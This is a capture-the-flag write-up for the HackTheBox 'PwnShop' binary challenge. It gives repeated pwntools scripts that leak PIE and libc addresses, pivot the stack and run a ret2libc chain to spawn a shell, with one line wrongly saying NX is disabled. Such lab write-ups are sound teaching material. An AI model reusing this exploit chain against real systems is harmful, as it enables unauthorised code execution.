← Back to Writeups
HTBN/APwn

PwnShop

XESXOR8/23/20268 min read
#pwn#htb#n/a

PwnShop

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

We just opened a Pwn Shop, time to pwn all the things!

Solution Approach

Core idea: Buffer Overflow. Bypassing PIE and ASLR.

Steps

  1. In this challenge we're given a 64 bit binary, dynamically linked, and stripped.
┌──(D3v0o0Nu11㉿htb)-[~/Downloads/pwn_pwnshop]
└─$ file pwnshop
pwnshop: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e354418962cffebad74fa44061f8c58d92c0e706, for GNU/Linux 3.2.0, stripped

BINARY PROTECTIONS

┌──(D3v0o0Nu11㉿htb)-[~/Downloads/pwn_pwnshop]
└─$ pwn checksec pwnshop                                    
[*] '/home/D3v0o0Nu11/Downloads/pwn_pwnshop/pwnshop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
  1. After decompiled the binary, it seems we can leak pie and calculate the piebase at the sell option.

  2. We can use our classic way to leak pie by sending 7 bytes.

SCRIPT

from pwn import *
import os
os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript="""
init-pwndbg
continue
""".format(**locals())

exe = './pwnshop'
elf = context.binary = ELF(exe, checksec=True)

### context.log_level = 'DEBUG'

context.log_level = 'INFO'

sh = start()
pause()
sh.sendlineafter(b'>', b'2')
sh.sendlineafter(b'?', b'a')

### LEAKING PIE

sh.sendlineafter(b'?', b'A' * 7) 
sh.recvline()
get = unpack(sh.recv(6) + b'\x00' * 2)
log.success('LEAKED PIE --> %#0x', get)

elf.address = get - 0x40c0 # 16576
log.info(f'PIE BASE --> {hex(elf.address)}')

sh.interactive()
  1. Next, analyzing the buy option, we know we can do BOF but sadly the space is too small.

BUY OPTION

  1. Knowing there is no interesting function to jump to and NX is disabled, but there is BOF; we know the concept for this challenge is ret2libc.
  2. But since the distance between RBP and RIP is too small, hence it's not enough for our payload, we need to do stack pivot.

FLOW

Payload we need to send

padding (need to calculate it first btw) + rdi_gadget + function@got + function@plt + return_symbol + sub_rsp_gadget.

Grabbing sub_rsp (dunno why can't automate the grab using ropstar).

Calculating the padding

Find the rip offset using gdb, then get the length of our rop_payload, and lastly substract them.
gdb-peda$ pattern search
No register contains pattern buffer
Registers point to pattern buffer:
[RSI] --> offset 0 - size ~101
[RSP] --> offset 72 - size ~29
Pattern buffer found at:
0x00007fffffffdd50 : offset    0 - size   80 ($sp + -0x48 [-18 dwords])
References to pattern buffer found at:
0x00007fffffffb6c0 : 0x00007fffffffdd50 ($sp + -0x26d8 [-2486 dwords])
0x00007fffffffd998 : 0x00007fffffffdd50 ($sp + -0x400 [-256 dwords])
0x00007fffffffdc78 : 0x00007fffffffdd50 ($sp + -0x120 [-72 dwords])
Get the length of our rop payload.

### ROP PAYLOAD

p = flat([
    rdi_gadget,
    elf.got['printf'],
    elf.plt['puts'],
    elf.address + 0x132a
])
from pwn import *
import os
os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript="""
init-pwndbg
continue
""".format(**locals())

exe = './pwnshop'
elf = context.binary = ELF(exe, checksec=True)

### context.log_level = 'DEBUG'

context.log_level = 'INFO'

sh = start()
pause()
sh.sendlineafter(b'>', b'2')
sh.sendlineafter(b'?', b'a')

### LEAKING PIE

sh.sendlineafter(b'?', b'A' * 7) 
sh.recvline()
get = unpack(sh.recv(6) + b'\x00' * 2)
log.success('LEAKED PIE --> %#0x', get)

elf.address = get - 0x40c0 # 16576
log.info(f'PIE BASE --> {hex(elf.address)}')

rop = ROP(elf)

### sub_rsp_gadget = rop.find_gadget(['sub rsp', '0x28', 'ret'])[0] # sub rsp, 0x28; ret;

sub_rsp_gadget = elf.address + 0x1219
log.success(f'STACK PIVOT GADGET --> {hex(sub_rsp_gadget)}')
rdi_gadget = rop.find_gadget(['pop rdi', 'ret'])[0]
log.success(f'RDI GADGET --> {hex(rdi_gadget)}')

### sh.sendlineafter(b'>', b'1')

sh.sendlineafter(b'>', b'1')

### ROP PAYLOAD

p = flat([
    rdi_gadget,
    elf.got['printf'],
    elf.plt['puts'],
    elf.address + 0x132a
])

### calculate padding for our second payload (stack pivot)

rip_offset = 72
padding = rip_offset - len(p)
log.info(f'padding --> {padding}')

sh.interactive()

LEAKING LIBC

from pwn import *
import os
os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript="""
init-pwndbg
continue
""".format(**locals())

exe = './pwnshop'
elf = context.binary = ELF(exe, checksec=True)

### context.log_level = 'DEBUG'

context.log_level = 'INFO'

sh = start()
pause()
sh.sendlineafter(b'>', b'2')
sh.sendlineafter(b'?', b'a')

### LEAKING PIE

sh.sendlineafter(b'?', b'A' * 7) 
sh.recvline()
get = unpack(sh.recv(6) + b'\x00' * 2)
log.success('LEAKED PIE --> %#0x', get)

elf.address = get - 0x40c0 # 16576
log.info(f'PIE BASE --> {hex(elf.address)}')

rop = ROP(elf)

### sub_rsp_gadget = rop.find_gadget(['sub rsp', '0x28', 'ret'])[0] # sub rsp, 0x28; ret;

sub_rsp_gadget = elf.address + 0x1219
log.success(f'STACK PIVOT GADGET --> {hex(sub_rsp_gadget)}')
rdi_gadget = rop.find_gadget(['pop rdi', 'ret'])[0]
log.success(f'RDI GADGET --> {hex(rdi_gadget)}')

### sh.sendlineafter(b'>', b'1')

sh.sendlineafter(b'>', b'1')

### ROP PAYLOAD

p = flat([
    rdi_gadget,
    elf.got['printf'],
    elf.plt['puts'],
    elf.address + 0x132a
])

### calculate padding for our second payload (stack pivot)

rip_offset = 72
padding = rip_offset - len(p)
log.info(f'padding --> {padding}')

pay = flat([
    asm('nop') * padding,
    rdi_gadget,
    elf.got['printf'],
    elf.plt['puts'],
    elf.address + 0x132a, # buy option
    sub_rsp_gadget
])

### sh.sendlineafter(b':', pay)

sh.sendafter(b':', pay)
leaked_libc = sh.recvline().strip()

### print(leaked_libc)

leaked_libc = unpack(leaked_libc.ljust(8,b'\x00'))
log.success(f'Leaked LIBC printf --> {hex(leaked_libc)}')

sh.interactive()
  1. Since we don't want to work twice (after succeed local, then identify the remote libc and try to get RCE remotely again), let us just send the script remotely and use the last 3 hex to find the remote libc in libc.blukat.

  2. Hmm, let us leak another GOT function so we can get 1 result only.

USING LEAKED READ

  1. Nice now let us run pwninit to patch the binary.

  2. Let us calculate the libc base.

SCRIPT

from pwn import *
import os
os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript="""
init-pwndbg
continue
""".format(**locals())

### exe = './pwnshop'

exe = './pwnshop_patched'
elf = context.binary = ELF(exe, checksec=True)

### context.log_level = 'DEBUG'

context.log_level = 'INFO'

library = './libc6_2.23-0ubuntu11.2_amd64.so'
libc = context.binary = ELF(library, checksec=True)

sh = start()
pause()
sh.sendlineafter(b'>', b'2')
sh.sendlineafter(b'?', b'a')

### LEAKING PIE

sh.sendlineafter(b'?', b'A' * 7) 
sh.recvline()
get = unpack(sh.recv(6) + b'\x00' * 2)
log.success('LEAKED PIE --> %#0x', get)

elf.address = get - 0x40c0 # 16576
log.info(f'PIE BASE --> {hex(elf.address)}')

rop = ROP(elf)

### sub_rsp_gadget = rop.find_gadget(['sub rsp', '0x28', 'ret'])[0] # sub rsp, 0x28; ret;

sub_rsp_gadget = elf.address + 0x1219
log.success(f'STACK PIVOT GADGET --> {hex(sub_rsp_gadget)}')
rdi_gadget = rop.find_gadget(['pop rdi', 'ret'])[0]
log.success(f'RDI GADGET --> {hex(rdi_gadget)}')

### sh.sendlineafter(b'>', b'1')

sh.sendlineafter(b'>', b'1')

### ROP PAYLOAD

p = flat([
    rdi_gadget,
    elf.got['printf'],
    elf.plt['puts'],
    elf.address + 0x132a
])

### calculate padding for our second payload (stack pivot)

rip_offset = 72
padding = rip_offset - len(p)
log.info(f'padding --> {padding}')

### LEAKING PRINTF@GOT

pay = flat([
    asm('nop') * padding,
    rdi_gadget,
    elf.got['printf'],
    elf.plt['puts'],
    elf.address + 0x132a, # buy option
    sub_rsp_gadget
])

### LEAKING READ@GOT

### pay = flat([

### asm('nop') * padding,

### rdi_gadget,

### elf.got['read'],

### elf.plt['puts'],

### elf.address + 0x132a, # buy option

### sub_rsp_gadget

### ])

### sh.sendlineafter(b':', pay)

sh.sendafter(b':', pay)
leaked_libc = sh.recvline().strip()

### print(leaked_libc)

leaked_libc = unpack(leaked_libc.ljust(8,b'\x00'))
log.success(f'Leaked LIBC printf --> {hex(leaked_libc)}')

### CALCULATING LIBC BASE

libc.address = leaked_libc - libc.sym['printf']
log.success('LIBC BASE --> %#0x', libc.address) 

sh.interactive()
  1. All good, let us send our ret2libc payload along with our stack pivot.

GETTING RCE | ADDED A ROPSTAR SCRIPT FOR BETTER AUTOMATION

from pwn import *
import os
os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    elif args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

gdbscript="""
init-pwndbg
continue
""".format(**locals())

### exe = './pwnshop'

exe = './pwnshop_patched'
elf = context.binary = ELF(exe, checksec=True)

### context.log_level = 'DEBUG'

context.log_level = 'INFO'

library = './libc6_2.23-0ubuntu11.2_amd64.so'
libc = context.binary = ELF(library, checksec=True)

sh = start()

### pause()

sh.sendlineafter(b'>', b'2')
sh.sendlineafter(b'?', b'a')

### LEAKING PIE

sh.sendlineafter(b'?', b'A' * 7) 
sh.recvline()
get = unpack(sh.recv(6) + b'\x00' * 2)
log.success('LEAKED PIE --> %#0x', get)

elf.address = get - 0x40c0 # 16576
log.info(f'PIE BASE --> {hex(elf.address)}')

rop = ROP(elf)

### sub_rsp_gadget = rop.find_gadget(['sub rsp', '0x28', 'ret'])[0] # sub rsp, 0x28; ret;

sub_rsp_gadget = elf.address + 0x1219
log.success(f'STACK PIVOT GADGET --> {hex(sub_rsp_gadget)}')
rdi_gadget = rop.find_gadget(['pop rdi', 'ret'])[0]
log.success(f'RDI GADGET --> {hex(rdi_gadget)}')

### sh.sendlineafter(b'>', b'1')

sh.sendlineafter(b'>', b'1')

### ROP PAYLOAD

p = flat([
    rdi_gadget,
    elf.got['printf'],
    elf.plt['puts'],
    elf.address + 0x132a
])

### calculate padding for our second payload (stack pivot)

rip_offset = 72
padding = rip_offset - len(p)
log.info(f'padding --> {padding}')

### LEAKING PRINTF@GOT

pay = flat([
    asm('nop') * padding,
    rdi_gadget,
    elf.got['printf'],
    elf.plt['puts'],
    elf.address + 0x132a, # buy option
    sub_rsp_gadget
])

### LEAKING READ@GOT

### pay = flat([

### asm('nop') * padding,

### rdi_gadget,

### elf.got['read'],

### elf.plt['puts'],

### elf.address + 0x132a, # buy option

### sub_rsp_gadget

### ])

### sh.sendlineafter(b':', pay)

sh.sendafter(b':', pay)
leaked_libc = sh.recvline().strip()

### print(leaked_libc)

leaked_libc = unpack(leaked_libc.ljust(8,b'\x00'))
log.success(f'Leaked LIBC printf --> {hex(leaked_libc)}')

### CALCULATING LIBC BASE

libc.address = leaked_libc - libc.sym['printf']
log.success('LIBC BASE --> %#0x', libc.address) 

ret_addr = rop.find_gadget(['ret'])[0]
log.success(f'ret gadget --> {ret_addr}')

### RET2LIBC PAYLOAD

### payload = flat([

### asm('nop') * padding,

### ret_addr,

### rdi_gadget,

### next(libc.search(b'/bin/sh\x00')),

### libc.sym['system'],

### sub_rsp_gadget

### ])

### USING ROPSTAR

libcrop = ROP(libc)
libcrop.call(rop.find_gadget(['ret'])[0])
libcrop.call(libc.sym['system'], [next(libc.search(b'/bin/sh\x00'))])
libcrop.call(sub_rsp_gadget)
payload = asm('nop') * 40 
payload += libcrop.chain()
log.info(libcrop.dump())
print(payload)

sh.sendlineafter(b':', payload)

sh.interactive()

RESULT IN LOCAL

TEST REMOTELY

  1. Got the flag.

Flag

REDACTED

Lessons Learned

  1. Buffer Overflow.
  2. Bypassing PIE and ASLR.
  3. Implement Stack Pivot.
  4. Implement ret2libc attack.